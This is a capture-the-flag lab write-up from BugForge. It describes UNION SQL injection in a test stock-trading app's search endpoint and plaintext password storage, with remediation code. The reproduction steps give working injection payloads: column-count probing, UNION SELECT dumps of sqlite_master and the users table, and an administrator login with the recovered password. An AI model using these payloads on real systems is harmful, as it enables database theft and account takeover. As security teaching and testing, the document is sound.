BugForge — 2026.08.05

Shady Oaks Financial: UNION SQL Injection to Administrator Account Takeover

BugForge UNION SQL Injection easy

Executive Summary

Shady Oaks Financial is a stock trading web application built as a React single page app over a JSON API, with HS256 JWT bearer authentication and a SQLite backend. The stock search endpoint concatenates the q query parameter into a SQL string literal, allowing a UNION based injection that reads arbitrary tables. The database stores passwords without hashing, so the injection returns every account’s password verbatim, including the administrator’s. That value authenticates, which converts a read of the database into takeover of the administrator account and access to a panel that is otherwise correctly gated.

Testing confirmed 2 findings:

ID Title Severity CVSS CWE Endpoint
F1 UNION SQL injection in stock search leading to administrator account takeover High 7.5 CWE-89 GET /api/stocks/search
F2 Passwords stored without hashing Medium 4.9 CWE-256 users.password (storage)

F1 is scored at PR:N rather than PR:L. The endpoint rejects unauthenticated requests, but registration is open, unverified, and returns a usable token in the same response, so holding an account is not a barrier an attacker has to clear. Common triage convention would score a required but freely obtainable account as PR:L, which gives 6.5 and drops the finding a full band; readers who prefer that reading should substitute it.

The flag bearing finding is F1. The application stores the objective flag as the administrator’s password value, so the same query that reads the users table both recovers the flag and hands over the account it belongs to.


Objective

BugForge daily lab against a rotating instance of Shady Oaks Financial. Recover the flag from the target application.


Scope / Initial Access

# Target Application
URL: https://lab-1785859102356-y17djv.labs-app.bugforge.io

# Auth details
# HS256 JWT bearer token in the Authorization header.
# Registration is open at POST /api/register and returns a token in the same
# response. Our token decoded to {"id":4,"username":"d4rk8x","role":"user"}.
# Starting privileges: low privilege user (role:user), 1000 EUR balance.

The search endpoint requires a token. With the Authorization header removed it returns 401 {"error":"Access token required"}. Because registration is self service and instant, obtaining a qualifying account takes one request.


Reconnaissance: Fingerprinting the Build Before Reusing a Prior Playbook

This target rotates behind a stable name, and five prior engagements against “Shady Oaks Financial” hold four different root causes. Matching on the name alone retrieves the wrong playbook, so the surface was mapped from the build itself.

  1. The frontend is a React CRA bundle at /static/js/main.9f64fa94.js (895552 bytes, md5 f5df2f39c99e117ae4bb57689036c63a) served with last-modified: Sun, 07 Jun 2026 08:14:28 GMT. No prior engagement had recorded a bundle hash, but that date matches the 2026-06-07 rotation, whose finding was SQL injection in /api/stocks/search. That pointed the first probes at the search endpoint.
  2. The search response is a JSON array of stock objects with eight keys: id, symbol, name, initial_price, current_price, description, trend, created_at. Eight keys suggests eight selected columns, which sets up the UNION column count.
  3. In a normal search response id, initial_price and current_price hold numbers while symbol, name, description, trend and created_at hold strings. The baseline does not settle which of those positions will carry injected data intact, so that is worth measuring directly before aiming an extraction at any of them.
  4. Registration at POST /api/register is open, requires no email verification, and returns a token in the same response, so the endpoint’s authentication requirement costs an attacker exactly one request.
  5. Unknown paths under /api/ return 200 with Content-Type: text/html, the SPA index page. Route existence on this target has to be judged on Content-Type, not on status code.

Application Architecture

Component Detail
Backend Express JSON API
Frontend React CRA single page application with axios
Auth HS256 JWT bearer token, payload {id, username, role, iat}
Database SQLite 3.44.2, pinned via sqlite_version() through the injection

API Surface

Endpoint Method Auth Notes
/api/stocks/search GET Yes Vulnerable. UNION SQL injection in q.
/api/stocks/:id, /api/stocks/:id/history GET Yes Parameterized
/api/public/portfolio/:token GET No UUIDv4 share tokens
/api/register, /api/login POST No Open registration, returns JWT
/api/trade, /api/convert-currency POST Yes Input validated
/api/exchange-rates, /api/transactions, /api/currencies GET Yes Parameterized
/api/profile PUT Yes Stores a raw quote, no read path concatenates it
/api/portfolio/share POST Yes Issues a share token
/api/admin/{stats,users,transactions} GET Yes 403 for role:user, 200 for role:admin

The bundle scan resolved 25 of 82 API call sites in the frontend bundle; the remainder build their paths at runtime. These are calls the React app makes, not server side route registrations, so the endpoint map above covers every route that was discovered from the client, which is not provably every route the server exposes.

Known Users

Username ID Role
admin 1 admin
trader 2 user
investor 3 user
d4rk8x 4 user (ours, self registered)

Attack Chain Visualization

┌──────────────────────┐   ┌──────────────────────┐   ┌──────────────────────┐
│ POST /api/register   │   │ q=a'         → 500   │   │ union select         │
│ open, instant        │──▶│ order by 8-- → 200   │──▶│ 'c1' ... 'c8'        │
│ returns role:user    │   │ order by 9-- → 500   │   │ cols 7,8 land in     │
│ JWT                  │   │ column count = 8     │   │ trend, created_at    │
└──────────────────────┘   └──────────────────────┘   └──────────────────────┘
                                                                 │
                                                                 ▼
┌──────────────────────┐   ┌──────────────────────┐   ┌──────────────────────┐
│ GET /api/admin/*     │   │ POST /api/login      │   │ sqlite_master → no   │
│ 200, all user PII,   │◀──│ admin / bug{q330...} │◀──│ flags table, plain   │
│ balances, ledger     │   │ → role:admin JWT     │   │ password column      │
│ (403 for role:user)  │   │                      │   │ users → flag + creds │
└──────────────────────┘   └──────────────────────┘   └──────────────────────┘

Findings

F1: UNION SQL injection in stock search leading to administrator account takeover

Severity: High CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) Endpoint: GET /api/stocks/search Authentication required: Yes, satisfied by open registration

Description

The q query parameter is concatenated into a single quoted SQL string literal with no parameterization or escaping. A lone single quote produces 500 {"error":"Database error"}, and ORDER BY brackets the column count at eight: order by 8-- returns 200 and order by 9-- returns 500.

A UNION select of eight values maps positionally into the stock object the endpoint normally returns. Sending eight string markers shows the mapping directly, and shows that all eight positions return the selected value unchanged: 'c1' through 'c8' come back as strings in id through created_at respectively. The serializer does not coerce values to the underlying column types, so every position is usable. The extraction below places its data in positions 7 and 8 because two concatenated values carry the whole table and the trend and created_at keys read clearly in the output, not because the other six are unavailable.

Reading sqlite_master returns all eight tables with their full DDL in one request. The schema carries no version string, so the engine is pinned separately by selecting sqlite_version() into a carrier position, which returns SQLite 3.44.2. Two facts in that schema shape the rest of the attack. There is no table holding flags, so the objective value has to be substituted into a column that already exists. And the users table declares password TEXT NOT NULL with no hash or salt column beside it, so whatever is in that column is the literal credential. The same DDL declares a share_token column alongside the credentials, though it was not read during testing.

Reading users returns admin paired with the objective flag as its password value, along with every other account’s password. That value authenticates at POST /api/login and returns a role:admin JWT, which opens /api/admin/{stats,users,transactions}. Those same endpoints return 403 {"error":"Admin access required"} to a role:user token, so the access control is enforced and is defeated by holding a legitimate credential rather than by bypassing the check.

The injection can read but cannot write. Stacked queries such as a'; select 1-- are silently ignored, with only the first statement running, so no INSERT, UPDATE or ATTACH is reachable. The injection supports reading any table; sqlite_master and users are the two dumped in evidence.

Only read operations were exercised with the administrator token. The account is under our control and could be used for anything the panel permits, but nothing was written or deleted, which is why the vector below carries I:N/A:N.

Impact

Full read of the application database by anyone who can register an account, and takeover of the administrator account.

Reproduction

Request lines are shown unencoded for readability. Spaces and single quotes in q need percent encoding when replayed with a command line client.

Step 1: Obtain a low privilege token

POST /api/register HTTP/1.1
Host: lab-1785859102356-y17djv.labs-app.bugforge.io
Content-Type: application/json

{"username":"d4rk8x","email":"[email protected]","password":"Passw0rd!23","full_name":"D Ark"}

Response: HTTP/1.1 200 with {"token":"eyJhbGciOiJIUzI1NiIs...","user":{"id":4,...,"role":"user"}}. Registration returns a usable token immediately with no verification step.

Step 2: Confirm string context injection

GET /api/stocks/search?q=a' HTTP/1.1
Host: lab-1785859102356-y17djv.labs-app.bugforge.io
Authorization: Bearer <role:user JWT>
Accept: application/json

Response: HTTP/1.1 500 with {"error":"Database error"}. The unbalanced quote breaks the SQL string literal.

Step 3: Determine the column count

GET /api/stocks/search?q=a' order by 8-- HTTP/1.1
...
GET /api/stocks/search?q=a' order by 9-- HTTP/1.1

Response: order by 8-- returns HTTP/1.1 200 with []; order by 9-- returns HTTP/1.1 500. The query selects eight columns.

Step 4: Map UNION positions to JSON keys

GET /api/stocks/search?q=zzz' union select 'c1','c2','c3','c4','c5','c6','c7','c8'-- HTTP/1.1
Host: lab-1785859102356-y17djv.labs-app.bugforge.io
Authorization: Bearer <role:user JWT>

Response: HTTP/1.1 200.

[{"id":"c1","symbol":"c2","name":"c3","initial_price":"c4","current_price":"c5","description":"c6","trend":"c7","created_at":"c8"}]

All eight positions return the selected value unchanged, so any of them can carry extracted data. The steps below use positions 7 and 8 by choice, not by constraint.

Step 5: Dump the schema

GET /api/stocks/search?q=zzz' union select 1,2,3,4,5,6,name,sql from sqlite_master where type='table'-- HTTP/1.1
Host: lab-1785859102356-y17djv.labs-app.bugforge.io
Authorization: Bearer <role:user JWT>

Response: HTTP/1.1 200 returning all eight tables (currencies, exchange_rates, sqlite_sequence, stock_prices, stocks, transactions, user_stocks, users) with their CREATE TABLE statements. The users DDL:

CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT UNIQUE NOT NULL,
    email TEXT UNIQUE NOT NULL,
    password TEXT NOT NULL,
    full_name TEXT,
    balance_eur DECIMAL(15,2) DEFAULT 1000.00,
    balance_usd DECIMAL(15,2) DEFAULT 0.00,
    balance_gbp DECIMAL(15,2) DEFAULT 0.00,
    role TEXT DEFAULT 'user',
    is_portfolio_public INTEGER DEFAULT 0,
    share_token TEXT,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
  )

No table holds flags, and password is a plain TEXT column with nothing alongside it to hold a hash or salt.

Pinning the engine takes one more request in the same shape, since the schema itself carries no version:

GET /api/stocks/search?q=zzz' union select 1,2,3,4,5,6,sqlite_version(),8-- HTTP/1.1
Host: lab-1785859102356-y17djv.labs-app.bugforge.io
Authorization: Bearer <role:user JWT>

Response: HTTP/1.1 200 with "trend":"3.44.2".

Step 6: Read the users table

GET /api/stocks/search?q=zzz' union select 1,2,3,4,5,6,username||' :: '||password,role||' :: '||email from users-- HTTP/1.1
Host: lab-1785859102356-y17djv.labs-app.bugforge.io
Authorization: Bearer <role:user JWT>

Response: HTTP/1.1 200. Concatenating two values per carrier column returns the whole table in one request.

[
  {"trend":"admin :: bug{q330hxqCLSGD1dxRcd1N0WtQkGmgYZfu}", "created_at":"admin :: [email protected]"},
  {"trend":"d4rk8x :: Passw0rd!23",                          "created_at":"user :: [email protected]"},
  {"trend":"investor :: invest456",                          "created_at":"user :: [email protected]"},
  {"trend":"trader :: password123",                          "created_at":"user :: [email protected]"}
]

Keys id through description are omitted above; they returned the integer literals selected for them. The administrator’s password column holds the objective flag, and every password is returned in the clear.

Step 7: Authenticate as the administrator

POST /api/login HTTP/1.1
Host: lab-1785859102356-y17djv.labs-app.bugforge.io
Content-Type: application/json

{"username": "admin", "password": "bug{q330hxqCLSGD1dxRcd1N0WtQkGmgYZfu}"}

Response: HTTP/1.1 200 returning a JWT that decodes to {"id":1,"username":"admin","role":"admin","iat":1785859385}. The recovered value is the administrator’s live password, not just a string stored in that column.

Step 8: Confirm the privilege gain against a negative control

With the role:user token from Step 1:

GET /api/admin/users HTTP/1.1
Authorization: Bearer <role:user JWT>

Response: HTTP/1.1 403 with {"error":"Admin access required"}.

With the role:admin token from Step 7:

GET /api/admin/users HTTP/1.1
Authorization: Bearer <role:admin JWT>

Response: HTTP/1.1 200 returning every account’s email, full name, per currency balances, position count and portfolio value. GET /api/admin/stats returns platform totals ({"total_users":4,"total_transactions":3,"total_cash_in_system":"13750.00", ...}) and GET /api/admin/transactions returns the full trade and currency conversion history.

Remediation

Fix 1: Parameterize the query

Source was not available, so the vulnerable form below is reconstructed from the observed behavior: an eight column select whose q is placed inside a LIKE string literal.

// BEFORE (Vulnerable)
db.all(
  "SELECT id, symbol, name, initial_price, current_price, description, trend, created_at " +
  "FROM stocks WHERE name LIKE '%" + q + "%'",
  callback
);

// AFTER (Secure)
db.all(
  "SELECT id, symbol, name, initial_price, current_price, description, trend, created_at " +
  "FROM stocks WHERE name LIKE ?",
  ['%' + q + '%'],
  callback
);

Additional recommendations:

  • SQLite is embedded and has no user, role or GRANT model, so there is no database account to scope down. The equivalent containment is to keep credentials in a separate database file from the trading data, or to install an authorizer callback (sqlite3_set_authorizer) that refuses reads of the credential table from the search code path. Either one stops a defect in this query short of users.
  • Return a generic error to the client on database failure and log the detail server side. The 500 responses are what revealed the injection and what made the column count measurable.
  • Do not place secrets or objective values in a column that user facing queries can reach.
  • Rotate the administrator credential. While the injection is open, treat every value in the users table as readable by any account holder, including the per user share tokens.

F2: Passwords stored without hashing

Severity: Medium CVSS v3.1: 4.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-256 (Plaintext Storage of a Password) Endpoint: users.password (storage defect, no endpoint of its own) Authentication required: Not applicable, requires a read path into the database

Description

The users table declares password TEXT NOT NULL and no adjacent hash, salt or algorithm column. Values read out of that column are the credentials themselves: investor returns invest456 and trader returns password123, and the value read for admin authenticates directly at POST /api/login. This is an independent defect from F1 with an independent fix. Parameterizing the search query leaves the passwords in the clear, and hashing the passwords leaves the injection open.

Scored at PR:H because reaching the stored values without F1 requires some other privileged read path, such as a second injection behind an administrative endpoint or an export feature that returns raw rows. AV:N covers those network reachable paths; an attacker reading the database file directly from a backup would be AV:L and would score lower. The confidentiality impact is scored on its own disclosure, not reduced for overlapping with F1.

Impact

Any read of the database yields credentials that work immediately, with no cracking step in between.

Reproduction

Step 1: Confirm there is no hash column

Via F1 Step 5, the users DDL declares password TEXT NOT NULL with no hash, salt or work factor column.

Step 2: Confirm the stored values are the credentials

Via F1 Step 6, investor :: invest456 and trader :: password123 are returned verbatim. Via F1 Step 7, the value read for admin authenticates at POST /api/login and returns a valid role:admin JWT, which confirms the stored value works unchanged at the login endpoint.

Remediation

Fix 1: Hash on write, verify on compare

As with F1, source was not available. The vulnerable form below is reconstructed from observed behavior; in particular the password equality comparison at login is inferred from the fact that the stored value authenticates unchanged.

// BEFORE (Vulnerable)
db.run("INSERT INTO users (username, email, password) VALUES (?, ?, ?)",
  [username, email, password]);

// login
db.get("SELECT * FROM users WHERE username = ? AND password = ?",
  [username, password], callback);

// AFTER (Secure)
const hash = await argon2.hash(password, { type: argon2.argon2id });
db.run("INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)",
  [username, email, hash]);

// login
db.get("SELECT * FROM users WHERE username = ?", [username], async (err, user) => {
  if (!user || !(await argon2.verify(user.password_hash, password))) {
    return res.status(401).json({ error: "Invalid credentials" });
  }
  // ...
});

Additional recommendations:

  • Migrate the existing column and force a password reset for every account, since the current values are already disclosed.
  • Treat the recovered passwords as compromised outside this application as well. invest456 and password123 are the kind of values people reuse across services.

OWASP Top 10 Coverage

  • A03:2021 Injection: The q parameter is concatenated into a SQL string literal without neutralization, allowing a UNION based injection that reads arbitrary tables including sqlite_master and users.
  • A02:2021 Cryptographic Failures: Passwords are stored in a plain TEXT column with no hashing, so a read of the database returns credentials that can be used directly. A01:2021 Broken Access Control is deliberately not claimed. The role check on /api/admin/* is enforced correctly this rotation, and it was defeated by presenting a legitimate administrator credential rather than by any failure of the check itself.

Tools Used

Tool Purpose
Caido Request interception, replay and evidence retrieval
carto Endpoint extraction from the React bundle; resolved 25 of 82 API call sites
curl Registration and initial probing
python-requests Scripted probe batches and the coverage sweep

References

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html
  • CWE-256: Plaintext Storage of a Password: https://cwe.mitre.org/data/definitions/256.html
  • OWASP Top 10 A03:2021 Injection: https://owasp.org/Top10/A03_2021-Injection/
  • OWASP Top 10 A02:2021 Cryptographic Failures: https://owasp.org/Top10/A02_2021-Cryptographic_Failures/
  • OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  • OWASP Password Storage Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html
  • SQLite schema table documentation: https://www.sqlite.org/schematab.html

Failed Approaches

Approach Result Why It Failed
Access /api/admin/{stats,users,transactions} directly with a role:user token 403 {"error":"Admin access required"} The role check is enforced this rotation. This was the finding in the 2026-03-19 and 2026-05-16 rotations, so matching the target by name would have pointed at a patched vector.
GET /api/admin/flag 200 with Content-Type: text/html The route does not exist. Express serves the SPA index for unknown /api/ paths, so route existence has to be judged on Content-Type rather than status.
SQL injection against every other user controlled input: 16 probes covering /api/stocks/:id, /api/stocks/:id/history, /api/public/portfolio/:token, /api/exchange-rates, /api/transactions, /api/currencies, /api/login, /api/trade, /api/convert-currency, /api/profile, /api/portfolio/share Zero 500s Every other input either validates (Invalid stock_id format, Action must be "buy" or "sell", Currency not found) or is parameterized. The search query is the only one assembled by string concatenation, which keeps the finding scoped to a single endpoint.
Second order SQL injection through full_name stored via PUT /api/profile Stored verbatim, rendered inertly on every read path The write is parameterized, which is precisely why the quote survives on disk intact, and no read path concatenates the stored value. Storing a raw quote is only a finding when something later concatenates it.
Stacked queries: a'; select 1-- Silently ignored, 200 with [] Only the first statement executes, so INSERT, UPDATE and ATTACH are unavailable. The injection can read but not write.
GET /api/stocks/search with the Authorization header removed 401 {"error":"Access token required"} The endpoint requires a token. This answers a question the 2026-06-07 rotation left open. Open registration makes the requirement trivial to satisfy, but the endpoint is not anonymously reachable.
Reach the filesystem through SQLite readfile() or ATTACH Not attempted directly readfile() ships with the sqlite3 command line shell’s fileio extension, not the core library, so it is not present in a node sqlite3 query at all. ATTACH needs a statement the driver will not run. The function worth probing here would have been load_extension(), which was not tested, so filesystem reach stays logged as unconfirmed and not as ruled out.

Tags: #sqli #union-injection #sqlite #account-takeover #cwe-89 #cwe-256 #bugforge #webapp Document Version: 1.0 Last Updated: 2026-08-05


#sqli #union-injection #sqlite #account-takeover #cwe-89 #cwe-256 #bugforge #webapp